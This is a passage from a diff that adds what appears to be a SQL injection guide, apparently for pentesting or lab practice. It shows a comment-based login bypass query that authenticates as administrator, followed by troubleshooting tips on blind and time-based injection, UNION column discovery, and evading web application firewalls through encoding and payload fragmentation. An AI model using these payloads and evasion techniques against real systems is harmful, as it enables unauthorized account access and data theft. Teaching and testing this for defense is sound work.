+
**Resulting Query**:
|
|
414
|
+
```sql
|
|
415
|
+
SELECT * FROM users WHERE username='administrator'--' AND password='anything'
|
|
416
|
+
```
|
|
417
|
+
|
|
418
|
+
**Result**: Password check bypassed, authenticated as administrator.
|
|
419
|
+
|
|
420
|
+
## Troubleshooting
|
|
421
|
+
|
|
422
|
+
### No Error Messages Displayed
|
|
423
|
+
- Application uses generic error handling
|
|
424
|
+
- Switch to blind injection techniques (boolean or time-based)
|
|
425
|
+
- Monitor response length differences instead of content
|
|
426
|
+
|
|
427
|
+
### UNION Injection Fails
|
|
428
|
+
- Column count may be incorrect → Test with ORDER BY
|
|
429
|
+
- Data types may mismatch → Use NULL for all columns first
|
|
430
|
+
- Results may not display → Find injectable column positions
|
|
431
|
+
|
|
432
|
+
### WAF Blocking Requests
|
|
433
|
+
- Use encoding techniques (URL, hex, unicode)
|
|
434
|
+
- Insert inline comments within keywords
|
|
435
|
+
- Try alternative syntax for same operations
|
|
436
|
+
- Fragment payload across multiple parameters
|
|
437
|
+
|
|
438
|
+
### Payload Not Executing
|
|
439
|
+
- Verify correct comment syntax for database type
|
|
440
|
+
- Check if application uses parameterized queries
|
|
441
|
+
- Confirm input reaches SQL query (not filtered client-side)
|
|
442
|
+
- Test different injection points (headers, cookies)
|
|
443
|
+
|
|
444
|
+
### Time-Based Injection Inconsistent
|
|
445
|
+
- Network latency may cause false positives
|
|
446
|
+
- Use longer delays (10+ seconds) for clarity
|
|
447
|
+
- Run multiple tests to confirm pattern
|
|
448
|
+
- Consider server-side caching effects
|